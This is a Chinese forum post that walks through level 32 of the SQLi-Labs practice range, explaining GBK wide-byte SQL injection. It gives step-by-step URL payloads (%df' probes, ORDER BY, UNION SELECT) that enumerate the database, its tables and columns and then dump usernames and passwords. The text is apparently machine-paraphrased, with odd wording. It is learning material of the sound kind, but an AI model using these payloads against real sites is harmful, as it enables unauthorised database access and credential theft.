sqlilab —— 32关卡

[复制链接]
发表于 2025-12-15 06:37:01 | 显示全部楼层 |阅读模式
sqlilab靶场 —— 第32关

使用宽字节的用法举行SQL注入
宽字节是什么

“宽字节” 本质是多字节字符编码(如 GBK、GB2312、Big5 等)的平凡叫法,这类编码以2 个字节为单位体现一个字符(区别于 ASCII 单字节编码,仅用 1 个字节)。

  • 单字节(ASCII):仅覆盖 0-127 的字符(如数字、英笔墨母),每个字符占 1 字节;
  • 宽字节(如 GBK):覆盖中文、日文等双字节字符,范围包罗0x8140-0xFEFE(扫除部门无效区间),且第一个字节高位为 1(即≥0x80),第二个字节无欺凌限定。
宽字节注入的焦点触发点:宽字节编码会将单字节的转义符(如\,ASCII 码 0x5c)与前一个字节拼接成一个合法的宽字节字符,从而绕过单引号 / 双引号的转义防护,实现 SQL 注入。
判定注入范例

先一步举行测试
  1. ?id=1'
复制代码

进一步使用宽字节举行测试
  1. ?id=1%df'
复制代码

获取数据库信息

判定命据表有几列
  1. ?id=1%df' ORDER BY 3 --+
复制代码

进一步判定有没有更多的列:
  1. ?id=1%df' order by 4 --+
复制代码

结论:只有三列
判定哪几列可以大概使用
  1. ?id=-1%df' UNION SELECT 1,2,3 --+
复制代码

爆破数据库
  1. ?id=-1%df' UNION SELECT 1,database(),3 --+
复制代码

爆表名
  1. ?id=-1%df' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479 --+
复制代码

爆字段名
  1. ?id=-1%df' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273 --+
复制代码

获取目标信息
  1. ?id=-1%df' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users --+
复制代码


免责声明:如果侵犯了您的权益,请联系站长及时删除侵权内容,谢谢合作!qidao123.com:ToB企服之家,中国第一个企服评测及软件市场,开放入驻,技术点评得现金.

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表